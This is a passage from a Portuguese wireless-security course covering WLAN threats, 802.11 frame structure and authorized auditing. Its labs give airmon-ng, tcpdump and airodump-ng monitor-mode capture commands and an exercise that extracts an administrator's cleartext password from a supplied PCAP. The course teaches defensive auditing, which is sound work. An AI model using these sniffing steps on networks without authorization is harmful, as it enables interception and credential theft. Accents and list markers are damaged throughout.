11 Autenticao ou criptografia: usar criptografia e autenticao no protege a rede auto maticamente. H fraquezas tanto em criptografia quanto em autenticao, e por isso importante conhecer os riscos de cada conjunto de solues; 11 Segregao: segregar simplesmente no elimina os riscos, j que podem ser exploradas vulnerabilidades de aplicao ou mesmo no cliente VPN; 11 No existem redes sem fio: para afirmar que no h redes sem fio, sua organizao deve ter polticas em operao, bem como audit-las; 11 Firewall: basta um AP rogue mal configurado (intencionalmente ou no) prximo a uma janela para que o permetro do seu firewall se estenda. O conceito de permetro deve ser revisto; 11 Ningum nos invadiria: os motivos de se invadir uma WLAN podem ser vrios, do simples acesso gratuito ponte a ataques diversos. No subestime o valor de sua rede.
Segurana fsica
11 No h segurana fsica. 11 Conter a abrangncia de uma rede sem fio muito difcil. 11 Lugares de ataque mais comuns: prdios vizinhos, apartamentos vizinhos e lobbies. 11 Vazamento de sinal. 22 Qualidade para capturar sinal longa distncia. 22 Qualidade para associao curta distncia.
importante que o administrador de uma WLAN tenha um fato em mente: no h segurana fsica em redes sem fio. Em redes cabeadas era necessrio o acesso fsico ou seja, passar por portes, portas, controle por crach, seguranas e chaves para obter acesso a um ponto de rede. Em redes sem fio, o ponto de rede o ar, literalmente. O controle de acesso de uma WLAN tem mais relao com o mecanismo de segurana do que com o controle da abrangncia da rede. Qualquer mudana no ambiente pode causar vazamento de sinal da WLAN, desde a simples retirada de um mvel at a instalao de divisrias.
Wardriving
11 Termo cunhado por Peter Shipley em 1999. 11 Busca por redes sem segurana.
q
11 Wardialing: popularizado pelo filme War Games (1983). 11 DEFCON 9 (2001): 22 Maior conferncia hacker do mundo. 11 Segurana de redes sem fio, tema recorrente em conferncias hacker. War Games (1983) o nome de um filme que influenciou, em alguns pontos, a cultura da segurana computacional. Termos como firewall e backdoor eram novidade em 1983: 11 Wardialing : nome dado discagem para nmeros aleatrios em busca de um compu tador com modem, mostrada em uma cena do filme; 11 DEFCON: Defense Condition, sigla do exrcito norte-americano para a condio de defesa da Amrica do Norte. Temos desde DEFCON 5, para tempos de paz, at DEFCON 1, para prontido mxima das Foras Armadas.
51
Piggybacking
11 Termo em ingls para conexo em redes sem fio alheias. 11 Prtica comum entre vizinhos e viajantes. 11 Eu no acho que isto seja roubar. 11 Consenso: se o dono do AP habilitou segurana (mesmo WEP), ento no quer conexes de estranhos. 11 Outros problemas: 22 Uso para golpes na internet e para pedofilia assinante do servio o culpado aparente. 22 Cotas de download prejuzo financeiro para o vizinho.
O roubo de servios no novidade: h muito tempo se rouba energia eltrica e TV a cabo, por exemplo. Com redes sem fio no diferente. muito comum que, em reas urbanas densas de grandes cidades, diversas redes sem fio estejam disponveis. Nesse cenrio, a proximidade entre apartamentos, salas comerciais e outros espaos de coabitao permite que uma pessoa use a rede aberta inadvertidamente. De certa forma, o culpado por essa prtica quem configura o AP: quem pratica piggybacking prefere redes fceis de se conectar a redes com mecanismos de segurana configurados. Embora esse fato no justifique este tipo de prtica, difcil concordar com a indignao de um proprietrio de AP que no se deu ao trabalho de trocar a senha-padro. Clientes Windows, por exemplo, podem perfeitamente fazer piggybacking sem perceber ao encontrar uma rede com mesmo nome (SSID) de sua rede preferencial.
l
Saiba mais sobre piggyback no artigo Hey neighbor, stop piggybacking on my wireless, The New York Times: http://www. nytimes.com
Warflying
Sinais de rdio podem se propagar de maneira imprevisvel. Warflying Tom Hardwares Guide (2004). 11 1.433 APs, 1.053 sem criptografia.
Figura 3.1 Warflying.

Como j afirmamos anteriormente, o termo wardialing deu origem a diversos outros termos, notadamente wardriving. Alguns pesquisadores, entretanto, se interessaram em capturar redes a partir de um avio, o que prova que a propagao do sinal RF de fato imprevisvel. A experincia de warflying do site Tom Hardwares Guide (2004) foi a mais notria, mas no foi a primeira.
52
DEFCON Wifi Shootout Contest

11 Quase 125 milhas (~200 Km) na edio 2005. 11 Link 802.11b sem amplificao do sinal, PCMCIA Z-Com XI-325 HP+ 802.11b 300 mW (24.7 dBm).
Figura 3.2 Wifi Shootout Contest/DEFCON, equipe Team iFiber Redwire.
A conferncia hacker DEFCON, que acontece anualmente em Las Vegas (EUA) desde 1993, teve um novo evento adicionado s suas atividades paralelas: o Wifi Shootout Contest. Nesse campeonato, ganha quem conseguir montar uma rede Wi-Fi que transmita pela maior distncia possvel. A equipe Team iFiber Redwire tinha membros com todo tipo de conhecimento: soldagem, matemtica, eletrnica, radioamador, programao e Linux. interessante ligar esse experimento aos conceitos de radiofrequncia abordados no Captulo 1. Contriburam para a quebra do recorde elementos como linha de visada, ambiente livre de interferncias, reflexes, entre outras peculiaridades da regio de desertos de Las Vegas.
w
Mais informaes sobre o evento: 3rd Annual DEFCON Wifi Shootout Contest: http://www. wifi-shootout.com/ e DEFCON WiFI Shootout 2005: http://www. unwiredadventures. com
Divulgao de informaes
11 WLAN = LAN com hub. 11 Com criptografia ou no, o trfego pode ser capturado. 11 No necessrio se associar ao AP para capturar. 11 Depende da combinao entre distncia e ganho da antena. Da mesma forma que uma LAN com hub, em uma WLAN temos o meio compartilhado. Dessa forma, todos os clientes associados recebem uma cpia dos quadros da WLAN.
Existe a opo de isolar os clientes associados a um AP (varivel wl0_ap_isolate do OpenWRT), mas isso ocorre somente no nvel da camada 3, ou seja, no encaminhamento de pacotes. Na prtica deste curso, os alunos tero a oportunidade de capturar trfego e analis-lo com as ferramentas Wireshark e Kismet.
Negao de servio
Denial of Service (DoS). Trs categorias: 11 Ataques ao meio: RF Jamming. 11 Fraquezas de 802.11: ataques deauth. 11 Vulnerabilidades no firmware dos clientes. Segurana = Confidencialidade, Integridade e Disponibilidade.
53
Denial of Service (DoS) um jargo de segurana de redes para negao de servio, e constitui basicamente no fato de um servio se tornar indisponvel. No caso de uma WLAN, clientes so impedidos de se associar a um AP por ao de um atacante. O prprio IEEE assume que uma WLAN vulnervel por natureza a ataques de negao de servio por RF Jamming, motivo da ausncia de mecanismos de proteo contra este tipo de ataque. No roteiro de atividades do Captulo 5, os alunos tero a oportunidade de experimentar comandos com ataques que foram a desautenticao de clientes: uma forma de DoS, portanto.
Access points rogue

11 Usurios bem intencionados ligam APs mal configurados rede cabeada. 11 Mudana inadvertida no permetro da rede. 11 Firewall corporativo defende do lado errado. 11 Solues: 22 Polticas. 22 Monitoramento. 22 Auditoria. Access points rogue representam uma das principais ameaas a redes sem fio. Podem ser plantados em uma empresa tanto por usurios desavisados quanto por um atacante que deseja ter acesso sua rede sem ser notado. Um AP tpico, que exerce o papel de gateway, oferece os servios de DHCP, para alocao
dinmica de endereos, e de NAT, para o compartilhamento de um endereo IP entre vrios clientes do AP. Nesse cenrio, um usurio que conecte seu AP ao ponto de rede da sua estao de trabalho poder nunca ser notado pelo administrador da rede, uma vez que at mesmo a troca do endereo MAC da interface Ethernet que se conecta rede cabeada uma prtica comum. Assim, ataques que partam de clientes de um AP rogue aparentam partir do ponto de rede do usurio, ou do ponto de rede no utilizado com o qual o atacante se infiltrou na rede. Polticas, monitoramento e auditoria so as chaves para deteco e desativao de APs rogue. Uma simples clusula na poltica proibindo a instalao de APs sem o conhecimento da administrao da rede no tem eficcia sem monitorao e auditoria efetivas.
Outros ataques
11 Redes domsticas e hotspots. 11 Explorao de vulnerabilidades do sistema operacional. 11 Worms que se propagam pelas camadas PHY e MAC.
22 Filtros de camada 3 e 4 sem utilidade. 22 Possibilidade futura. 22 Worm Cabir em celulares Bluetooth. Clientes podem estar sob a proteo de uma WLAN corporativa segura mas, quando se associam a um hotspot ou a um AP domstico, a segurana normalmente mais branda. O cliente fica vulnervel a ataques no necessariamente relacionados com redes sem fio, tais como explorao de vulnerabilidades em um Sistema Operacional no atualizado ou em uma estao sem firewall pessoal.
54
Bluetooth j mostrou ser vulnervel a ataques de worms, como se viu no caso do worm Cabir (Bluetooth-Worm:SymbOS/Cabir: http://www.f-secure.com/). At o momento, worms de redes 802.11 so apenas uma possibilidade futura, mas importante levar esse risco em considerao.
Trfego 802.11
11 WLAN usa enquadramento 802.11 e 802.2 Logical Link Control (LLC). 11 Ethernet: trfego 802.3. 11 Camada MAC: 22 Mecanismos de acesso. 22 Suporte fragmentao. 22 Entrega confivel de pacotes. 22 Separao de redes por BSSID. 22 Privacidade com WEP. 22 Gerenciamento de energia.
Neste captulo ser apresentada uma viso geral da camada MAC de 802.11, com a descrio dos principais campos dos quadros, entre outros conceitos importantes. No roteiro de ativi dades prticas deste captulo, sero exercitadas a captura e a anlise de trfego. A camada MAC especificada na ISO/IEC 8802-11:1999. As placas de rede atuais no permitem operao em full-duplex com apenas um transmissor, no sendo possvel implantar Carrier Sense Multiple Access (CSMA) ou Collision Avoidance ou (CA). Alm disso, no possvel uma deteco de colises confivel em rdio, o que resolvido pelas mensagens Request To Send (RTS) ou Clear To Send (CTS), um mecanismo virtual de sensibilidade ao sinal da portadora. 11 Fragmentao: pouco usada na prtica, possibilita sinal de trfego malicioso dividido em vrios quadros. Em 802.11, a Maximum Transmission Unit (MTU) de 2.300 bytes, enquanto em Ethernet, por default, de 1.500 bytes. 11 Confiabilidade: o recebimento de cada pacote de dados reconhecido como mais confivel, embora implique em mais overhead, j que dois pacotes so trocados antes que se possa efetivamente transmitir.
11 Wired Equivalent Privacy (WEP): confidencialidade dos dados trocados, ser assunto do Captulo 6. 11 Basic Service Set Identifier (BSSID): endereo nico de 48 bits que identifica de maneira nica um AP e um conjunto de estaes sem fio (STA). Economia de energia tambm considerada nessa especificao, de forma que o consumo de energia seja compatvel com dispositivos mveis, como um Personal Digital Assistant (PDA) e laptops.
Arquitetura IBSS
11 Independent Basic Service Set network 11 Peer to peer (ad-hoc). 11 Aplicaes: troca de arquivos, algumas implementaes de redes mesh baseadas em 802.11.
55
Infraestrutura: 11 Figura do Access Point (AP). 11 Funes tpicas: segurana, ponto central de acesso rede de distribuio. Implementaes de redes de infraestrutura: 11 Basic Service Set (BSS): agrupamento de uma ou mais estaes e um AP. 11 Extended Service Set (ESS): mltiplas redes BSS que compartilham um mesmo ESS, permitindo roaming entre APs.
11 WDS: relay entre dois APs, podendo ser utilizado para ligar duas redes cabeadas atravs de uma rede sem fio.
802.1x
11 Autenticao. 11 Controle de acesso baseado em portas. 11 Autenticao antes do acesso s portas solicitado pelo Supplicant. 11 Apenas trfego EAP (EAP Over Lan EAPOL) permitido antes da concluso da autenticao. 11 Authenticator (normalmente AP) repassa as mensagens EAP para o Authentication Server (RADIUS).
Extensible Authentication Protocol (EAP) um protocolo de transporte para autenticao, e no o mtodo de autenticao em si. Os tipos de EAP definem como as credenciais so trocadas. Alguns mtodos esto relacionados a seguir, enquanto a lista completa encontra-se dispo nvel no site da IANA. Abordaremos EAP com mais detalhes nos Captulos 9 e 10, em que projetaremos e implantaremos uma rede segura baseada em mtodos EAP e EAPOL. 11 EAP-MD5; 11 LEAP (Lightweight EAP); 11 EAP-TLS; 11 EAP-TTLS; 11 PEAP (Protected EAP); 11 EAP-MSCHAPv2.
56
Rede sem o
Servidor de autenticao (RADIUS)
Au
Figura 3.3 Conceitos do 802.1x: requerente, autenticador, rede sem fio, servidor de autenticao e internet ou outros recursos de rede.
thenticator
1 Internet ou outros recursos LAN
Supplicant
IEEE 802.11
Trs tipos: 11 Management: Beacons, probes e autenticao.
w
Saiba mais sobre o EAP em http://www.iana.org.
11 Control: reconhecimento de recebimento de pacotes. Data: 11 Encapsula dados do usurio (como IP e ARP). 11 nicos pacotes com aplicao de criptografia.
Octetos: 2
Frame Control
2 Duration / ID
6 Address 1
6 Address 2
6 Address 3
2 Sequence Control
6 Address 4
0-2312 Frame Body
4 FSC
Cabealho MAC
Protocol Version
Type 2
Subtype 4
To Ds 1
From Ds 1
More Retry Frag 1 1
Pwr Mgt 1
More Data 1
WEP 1
Order 1
Bits: 2
Figura 3.4 Quadros 802.11 Cabealho.
Campos do cabealho 802.11: 11 Frame Control (FC); 11 Duration/ID; 11 Address 1; 11 Address 2; 11 Address 3;
57
11 Sequence Control; 11 Address 4; 11 Data: o tamanho mximo do campo de dados antes de qualquer criptografia de 2.304 bytes, mas o payload real depende do tipo de criptografia aplicada. 2.312 bytes para WEP: adiciona 4 bytes. 2.324 bytes para TKIP (WPA): adiciona 20 bytes. 2.320 bytes para CCMP (WPA2): adiciona 16 bytes. 11 Frame Check Sequence (FCS): CRC para verificao de integridade. 11 2 bytes (16 bits), 11 opes. 11 Especifica se o quadro de gerenciamento, dados ou controle. 11 Determina o formato do restante do quadro. Protocol Version To Ds 1 From Ds 1 More Retry Frag 1 1 Pwr Mgt 1 More Data 1
Type 2
Subtype 4
WEP 1
Order 1
Bits: 2
11 Protocol Version (2 bits): nmero do protocolo; na prtica, o valor sempre 0 (zero). 11 Type (2 bits): especifica se um quadro de gerenciamento, controle ou dados. O campo Subtype (4 bits) especifica subtipos de quadros de controle, gerenciamento ou dados. A lista completa com as 26 combinaes de type ou subtype pode ser encontrada na seo 7.1.3.1 do documento ANSI/IEEE Std 802.11. Alguns exemplos: 22 00/0000: Management, Association Request. 22 00/0100: Management, Probe Request. 22 00/1000: Management, Beacon (informaes para associao). 22 00/1101-1111: Management, Reservado. 22 01/1011: Control, RTS. 22 01/1100: Control, CTS. Os 8 bits restantes so usados para ativar ou desativar opes: 11 To DS: ativado quando o quadro possui o sistema de distribuio como destino, normal mente representado pelo AP; 11 From DS: ativado quando tem como origem o sistema de distribuio; 11 More Frag : ativado no caso de existirem mais fragmentos do quadro na sequncia; 11 Retry : ativado quando o quadro uma retransmisso;
Figura 3.5 Quadros 802.11 Frame Control (FC).
11 Power Mgmt: ativado para notificar que a estao encontra-se em modo de economia de energia; 11 More Data: ativado quando a estao avisa que saiu do estado de economia de energia; 11 WEP: ativado quando WEP est habilitado no Basic Service Set (BSS), agrupamento de estaes (STA) e um AP; 11 Strict Order: quando ativado, determina que os quadros devem ser recebidos na sequncia em que foram enviados; caso contrrio, devem ser descartados.
58
Quadros 802.11
Demais campos. Duration/ID: 11 Tempo estimado de ocupao do meio para uma transmisso de dados. 11 Sequence control. 22 Fragmentao para frames de dados e gerenciamento. 22 Quando o payload maior que 2312 bytes. 22 4097 iteraes (0-4096). 22 Pouco usado. 11 Frame Check Sequence (FCS). 22 Verificao da integridade do quadro no recebimento por CRC 32. Quadros de gerenciamento: 11 Dados de gerenciamento montados no payload. 11 Campos: 22 Fixed Parameters. 33 BSS Timestamp, Intervalo de beacon e capability information. 22 Tagged Parameters: 33 Tag Number, Tag Lengh e Tag. 33 Exemplo: SSID ESR: 0, 03, 45 83 82. 33 Outros Tag numbers: Supported Rates (1) e Canal/DS Parameter set (11). Anlise Flags To DS e From DS (Frame Control): 11 To DS ativado Origem em uma estao sem fio. 22 Endereos: MAC Destino, BSSID, MAC Origem. 11 From DS ativado: origem na rede cabeada (AP). 22 Endereos: MAC BSSID, Origem, MAC Destino. 11 Ambos ativados: Wireless Distribution System (WDS). 22 Endereos: Receptor, Transmissor, MAC Destino e MAC Origem. 22 4 endereo (MAC Origem) existe somente nesse caso e depois do campo Sequence Control. 11 Ambos desativados: rede ad-hoc. 22 Endereos: MAC Destino, MAC Origem e BSSID.
Captura
11 Ethernet utiliza enquadramento IEEE 802.3. 11 WLAN: 802.11 + sub-header 802.2 (Logical Link Control LLC). 11 O tipo de trfego depende do modo de operao da interface de rede. 11 Captura em modo cliente (managed) mostra trfego aparentemente de Ethernet.
59
Modos de operao das interfaces de rede

Managed: 11 Mais comum, associao a um Access Point (rede BSS). 11 Captura mostra trfego de uma rede Ethernet (802.3). 11 A captura de pacotes feita somente quando o cliente que a efetua est associado. 11 Revela poucos dados sobre a rede para um auditor. Monitor: 11 Chamada tambm de RFMON. 11 Captura quadros no formato em que foram enviados (802.11+ 802.2). 11 Revela trfego de gerenciamento: 11 quadros de dados, gerenciamento e controle. 11 No necessria a associao. 11 Depende de drivers ( 11 comum em Linux, limitado em Windows). 11 Captura em um canal por vez. Master: 11 Access Point. 11 Permite a criao de um Access Point baseado em uma estao. Ad-hoc: 11 Redes IBSS ponto-a-ponto. A captura em modo monitor a mais interessante para o auditor. Da mesma forma que
captura qualquer tipo de trfego da rede, permite que o auditor fique invisvel aos Access Points, ou seja, no transmite pacotes para conduzir a auditoria. Esse tipo de captura infelizmente tem algumas limitaes, entre elas: 11 No permite que a interface se associe a um AP, isto , em modo monitor a interface somente capaz de capturar pacotes; 11 Em sistemas Windows possvel somente com hardware e software especiais; 11 Captura um canal por vez; enquanto a interface captura em um canal, todos os outros no esto sendo monitorados. A soluo para esse problema seria o uso de pelo menos 11 interfaces de rede simultneas, cada uma delas monitorando um canal distinto. Outra soluo, mais vivel, implementada em softwares de auditoria como airodump-ng e kismet. Trata-se do channel hopping, uma tcnica que configura a interface em um canal por alguns segundos e vai alternando sequencialmente entre os canais disponveis, moni Segurana em Redes sem Fio
torando assim todo o espectro disponvel.
60
Atividade 3.1 Captura e anlise de trfego em sistemas Windows
Neste exerccio voc ver, na prtica, quais so as diferenas entre as capturas de trfego de sistemas Windows e Linux. Comearemos pelo sistema Windows, que apresenta mais limitaes. Localize e execute o utilitrio Wireshark em sua estao.
1. Execute o utilitrio, e depois selecione o menu Capture > Options.
Figura 3.6 Wireshark.
Na janela anterior, voc iniciar duas capturas diferentes: uma com a opo Capture packets in promiscuous mode marcada; e outra com a mesma opo desmarcada. O que aconteceu em cada um dos experimentos? Como o funcionamento de uma interface Ethernet em modo promscuo e como voc esperava que fosse o comportamento desse modo na interface 802.11?
61
2. Repita o experimento anterior, depois de ter associado o cliente a um AP. Provoque algum
tipo de trfego (HTTP, ICMP etc.) e observe qual tipo de trfego o Wireshark captura com e sem a opo promiscuous marcada. O que voc notou de diferente nessa experincia? A essa altura do experimento, voc j deve ter constatado que s possvel capturar trfego da interface WLAN quando o cliente est associado. E no s isso: apenas trfego desti nado a broadcast e prpria interface capturado, ou seja, uma vez associada interface 802.11, para Wireshark no h diferena em relao a uma interface Ethernet. Note ainda que a captura ocorre em apenas um canal: o canal da rede qual o cliente se associou.
Atividade 3.2 Captura e anlise de trfego em sistemas Linux

Agora que voc constatou que a captura de trfego 802.11 limitada em sistemas Windows, voc est pronto para comparar os dois sistemas.
Capturando trfego
Revendo os conceitos do Roteiro de Atividades 2, certifique-se de que a interface WLAN est instalada e ativa. Agora voc ir configurar a interface em modo Monitor. Nesse modo, a interface capaz de capturar no apenas quadros (pacotes da camada MAC) de dados, como tambm de controle e gerenciamento. Para comear a explorar esse novo universo de captura de trfego, iniciaremos configu rando a interface de rede. A interface que temos em nosso laboratrio Ralink; por isso usaremos wlan0 como nome do dispositivo. Para ativar a interface em modo monitor, utilizaremos um script do pacote aircrack-ng, que simplifica esse processo executando os comandos iwconfig e iwpriv com os parmetros necessrios para cada driver:
# airmon-ng start wlan0 Interface Chipset Driver wlan0 Ralink 2573 USB rt73usb - [phy0]
(monitor mode enabled on mon0)
Alguns drivers como os dos chipset Atheros e Ralink suportam a criao de interfaces virtuais e essa caracterstica permite que em uma nica interface fsica, seja possvel criar uma interface virtual em modo monitor e manter outra interface virtual em modo Managed. Com isso, pode-se por exemplo capturar e injetar pacotes em uma mesma interface fsica. Aps executar esse comando, criada uma interface (mon0 no nosso caso), que permite a captura de qualquer tipo de quadro 802.11 (gerenciamento, controle e dados), mas impe duas limitaes: a captura acontece em apenas um canal por vez e, enquanto a interface estiver nesse modo, no capaz de se associar a uma rede (interface em modo Managed). Assim, o valor do SSID irrelevante para uma interface nesse modo de operao.
Um parmetro que pode ser passado para o comando airmon-ng o canal que deseja monitorar. Isso pode ser feito atravs do comando airmon-ng no momento de sua primeira exe cuo ou com o comando iwconfig aps a execuo do airmon-ng. Caso no seja passado o parmetro do canal para o airmon-ng, a interface estar apta para realizar channel hopping.
62
Exemplos:
# airmon-ng start wlan0 2 ou # iwconfig mon0 channel 2

Capturar trfego em Linux com a interface em modo Managed o mesmo que capturar em sistemas Windows, ou seja, necessrio que haja associao. Para capturar em modo Monitor, basta iniciar algum utilitrio de captura; usaremos TCPdump como exemplo:
# tcpdump i mon0 s 65535 n w captura-monitor.pcap

Com esse comando, todo o trfego ser capturado e salvo no arquivo captura-monitor.pcap. O formato dos arquivos gerados pelo TCPdump compatvel com Wireshark. Outra forma de capturar o trfego IEEE 802.11 atravs do aplicativo Airodump-ng, que faz parte do pacote aircrack-ng. Nesta atividade vamos capturar trfego no canal 6, assim configure a interface em modo monitor no canal 6.
# airmon-ng start wlan0 6 ou # iwconfig mon0 channel 6

Memorize esse aspecto dos canais. Ele ser essencial nas capturas de trfego das prticas de WEP e WPA. Capture os pacotes 802.11 e os salve no arquivo teste-01.cap. Se voc repetir o comando sem apagar teste-01.cap, ser criado um novo arquivo (teste-02.cap). Para especificar um canal, utilize o parmetro --channel do airodump-ng:
# airodump-ng w teste mon0 --channel 6 CH 6 ][ Elapsed: 0 s ][ 2008-10-01 01:37
BSSID ESSID
PWR RXQ Beacons
#Data, #/s CH MB ENC CIPHER AUTH
00:16:B6:xx:xx:xx 00:1C:10:32:xx:xx 00:1C:10:C5:xx:xx 2
1 0
1 10 17
0 1
0 0 6
6 48 WEP WEP 6 48 WPA TKIP 0
Soluciones PSK ap1 PSK ap2

57 100
6 48 WPA TKIP
BSSID
STATION
PWR
Rate Lost Packets Probes 2 37 0- 1 0- 1 0 11 0 5 homeap1 7 homeap2 6
(not associated) (not associated)
00:21:5D:xx:xx:xx 00:1C:BF:xx:xx:xx
00:1C:10:xx:xx:xx 00:1E:52:xx:xx:xx
65 54-48
63
Analisando trfego
Agora, hora de abrir o arquivo salvo no exerccio anterior e, para tanto, usaremos o utili trio Wireshark, por se tratar de um software que possui uma apresentao mais didtica dos pacotes.
Figura 3.7 Opes de captura do Wireshark.
Com base no que foi aprendido na parte terica, use o analisador de trfego Wireshark para selecionar pelo menos dois subtipos de cada tipo de quadro: 11 Quadros de Gerenciamento: Beacons, Probe Requests, Probe Responses, Deauthentication, Authentication, Association Request, Association Response etc.; 11 Quadros de Controle: RTS, CTS, ACK; 11 Quadros de Dados. Use display filters do Wireshark para selecionar esses quadros especficos. Explique brevemente a funo do subtipo selecionado. A seguir, alguns tipos de filtros que podem ser utilizados:
data wlan.fc.wep = 1 wlan.mgt.fixed.beacon wlan.fc.type_subtype = 8
(pacotes de dados) (pacotes com WEP habilitados) (pacotes com beacons) (beacons) (pacotes com determinada string) (pacotes de determinado endereo MAC)
frame contains string wlan.sa! = MAC

64
Atividade 3.3 Vazamento de informaes em redes Wi-Fi

Cenrio: voc um analista de segurana e deseja provar a vulnerabilidade de uma rede Wi-Fi sem criptografia. Para isso, solicita diretoria permisso para realizar uma auditoria na rede, com o intuito de provar que dados sigilosos podem ser obtidos com muita facilidade por qualquer usurio que tenha conhecimento em ferramentas de anlise de redes Wi-Fi. Aps obter a autorizao da diretoria, voc executa os procedimentos de auditoria e detecta uma falha que pode possibilitar o vazamento de informaes. Explica-se: ao fazer a auditoria e verificar o trfego da rede, voc conseguiu obter vrios dados de um administrador de redes que, naquele momento, acessou a interface web de administrao de um Access Point via Wi-Fi. Entre os dados coletados estavam o nome de usurio e senha de acesso do administrador. O arquivo PCAP capturado durante a auditoria est disponvel em /root/Desktop/SEG6/http_leak.pcap. Analise o arquivo e responda s perguntas:
1. Qual o SSID da rede Wi-Fi?
2. Qual o canal utilizado pela rede?
3. Qual o endereo IP da mquina utilizada pelo administrador de redes?
4. Qual o endereo IP do AP?
5. Qual o Sistema Operacional utilizado pelo administrador de redes?
6. Qual o servidor web utilizado pelo Access Point?
7. possvel descobrir qual o Access Point (marca ou modelo)?
8. Qual o usurio e senha para acessar a interface de administrao web do Access Point?
65
66
4
Auditoria em redes sem fio (parte 2)
objetivos
Apresentar algumas metodologias de auditoria de redes sem fio e as principais ferramentas livres disponveis; mapear e ensinar estratgias de auditorias com GPS e redes sem fios.
conceitos
Auditoria em redes sem fio; ferramentas de auditoria.
Introduo
11 Metodologias de auditoria. 11 Ferramentas de auditoria. 11 Mapeando com Global Positioning System (GPS).
Neste captulo, abordaremos tcnicas e ferramentas de auditoria de redes sem fio. Aborda remos o mapeamento com uso de Global Positioning System (GPS), possvel de ser realizado por ferramentas livres ou comerciais. Nosso enfoque estar em NetStumbler e Kismet, ferramentas livres disponveis para Windows e Linux, respectivamente.
Exerccio de nivelamento 1 e Ataques a redes sem fio

Quais so os principais tipos de ataques a redes sem fio?
Metodologias de auditoria
Auditoria contra determinada poltica. 11 Antes: 22 Poltica em mos, dados j coletados. 22 Conhecer os equipamentos tpicos, marcas de produtos. 22 Autorizao.
67
11 Buscar desvios: 22 Clusulas da poltica de segurana no obedecidas. 22 Correlacionar dados coletados com a poltica de segurana. importante lembrar que uma auditoria feita em relao a uma determinada poltica.
Assim, o auditor deve ter pleno acesso poltica da organizao, de forma que possa avaliar corretamente quais so os desvios com relao norma. Embora a auditoria de redes sem fio normalmente no envolva acesso, importante que se tenha autorizao prvia da gerncia do setor auditado. O cdigo de prticas ISO/IEC 17799:2005 conta com alguns controles que citam redes sem fio de maneira explcita: 11 10.6.1 Network Controls (Network Security Management); 11 10.8.1 Information exchange policies and procedures (Exchange of information); 11 11.4.2 User authentication for external connections (Network access control); 11 11.4.5 Segregation in networks (Network access control); 11 11.7.1 Mobile computing and communications (Mobile computing and teleworking); 11 11.7.2 Teleworking (Mobile computing and teleworking). Nem sempre redes e dispositivos sem fio esto includos na poltica de segurana adotada. Outros objetivos de uma auditoria: 11 Identificar APs e clients. 11 Configurao. 11 Mapear abrangncia da rede. 11 Avaliar o grau de divulgao de informaes da organizao. Nem sempre a organizao possui uma poltica de segurana. Mesmo quando implantada, comum que no existam requisitos de segurana em dispositivos mveis e redes sem fio. A implantao completa de uma poltica de segurana para redes e dispositivos sem fio envolve a poltica implantada, monitoramento e auditoria. Outros objetivos de uma audi toria, seja feita contra uma determinada poltica ou no: 11 Identificar APs e clientes: a auditoria permite que o administrador conhea os APs e clientes ativos na rea da empresa. Conhecer esses dados permite a adoo de medidas contra APs rogue e falsos que se fazem passar por APs da empresa, por exemplo; 11 Configurao: o resultado de uma auditoria pode atestar que a empresa adota meca nismos de segurana considerados bons na WLAN, da mesma forma que pode provar que o mecanismo determinado pela poltica no foi adotado. Um AP com senha-padro ou uma rede configurada com WEP em vez de WPA so exemplos de desvios, se uma
poltica estiver implantada; 11 Mapear abrangncia da rede: mapear a abrangncia da rede, atividade tambm conhe cida como site survey, possui dois objetivos bsicos: conhecer a distribuio de canais na rea de abrangncia da organizao e conhecer a abrangncia da rede; 11 Avaliar o grau de divulgao de informaes da organizao: avaliar a presena de redes rogue na organizao que usam mecanismos de segurana fracos (WEP ou WPA com chave fraca) ou mesmo nenhum mecanismo. Redes que permitem o acesso no autorizado, captura e deciframento de trfego permitem tambm que informaes da organizao sejam divulgadas.
68
Fingerprinting do AP
Passivo: 11 No h necessidade de estar conectado rede. 11 Identificar o fabricante: 22 Organization Unique Identifier (OUI) da interface de rede. 22 Alocado pelo IEEE. 22 til apenas em trfego unicast e broadcast. 11 Identificar informaes proprietrias divulgadas nos quadros beacon. Ativo: 11 Necessidade de conexo. 11 Conectar-se ao AP remotamente (SSH e servidor web).
Fingerprinting passivo
w
A lista de prefixos disponveis est em IEEE OUI and Company_id Assignments (Pesquisa) e IEEE OUI and Company_id Assignments: http:// standards.ieee.org/ regauth/oui/oui.txt
O fingerprinting passivo do Access Point pode ser feito a partir do trfego de gerenciamento e controle coletado. Conforme tratado no Captulo 3, para a coleta desse tipo de dado necessrio que o driver da interface de rede permita o modo monitor (RFMON). Mais adiante, veremos que os endereos MAC podem revelar informaes mais interessantes quando o trfego multicast. O endereo MAC possui 6 bytes (48 bits), normalmente separados por hfen (-) ou por dois pontos (:) e expressos em base hexadecimal. Os trs primeiros so nicos por fabricante e alocados pelo IEEE. Utilitrios como NMAP e Wireshark fazem uso dessa lista para identificar o fabricante da interface de rede. Outra fonte de informaes que pode ser obtida passivamente est nos quadros de gerenciamento, mais especificamente nos beacons. Interfaces da Broadcom, presentes em APs Linksys, incluem tagged tags especficos nos quadros de gerenciamento. Outra maneira de identificar a marca a maneira como SSIDs ocultos aparecem, ou seja, com nenhum valor (Linksys), 6 ou mais bytes nulos (0x00 Cisco), ou como um espao (0x20 Enterasys).
Fingerprinting ativo
A identificao ativa, diferentemente da passiva, envolve conexo no AP para obter texto com informaes e verses do equipamento (banner). Sua grande desvantagem est na
deteco da auditoria no momento da conexo do auditor. Como veremos adiante, ferramentas de auditoria tambm podem ser ativas. NetStumbler identifica redes de maneira ativa e no indicado caso o auditor deseje conduzir uma audi toria silenciosa aos administradores da rede.
Processamento de informaes coletadas

11 Gerar planilhas com arquivos XML e CSV gerados pelo Kismet. 11 Identificar redes com segurana fraca. 11 Informaes teis. 11 SSIDs usados, marcas de interfaces, potncia do sinal e nvel de rudo, entre outros indicadores.
69
Processar os dados gerados por ferramentas de auditoria como Kismet e NetStumbler uma boa opo para a gerao de grficos de nvel gerencial. A partir de arquivos em formato XML (Extensible Markup Language) e CSV (Comma-Separated Values), possvel gerar grficos com informaes importantes para quem implementou ou vai implementar uma WLAN: 11 Incidncia de rogue APs; 11 Distribuio de canais; 11 Distribuio de mecanismos de segurana; 11 Nmero de clientes por AP, entre outros.
Identificao de mtodos de segurana

Automaticamente: 11 Ferramentas como Kismet. Manualmente: 11 Captura e filtro de quadros no interessantes. 22 Beacon. 22 Probe request. 22 Probe response. 11 Anlise com analisadores de trfego como Wireshark.
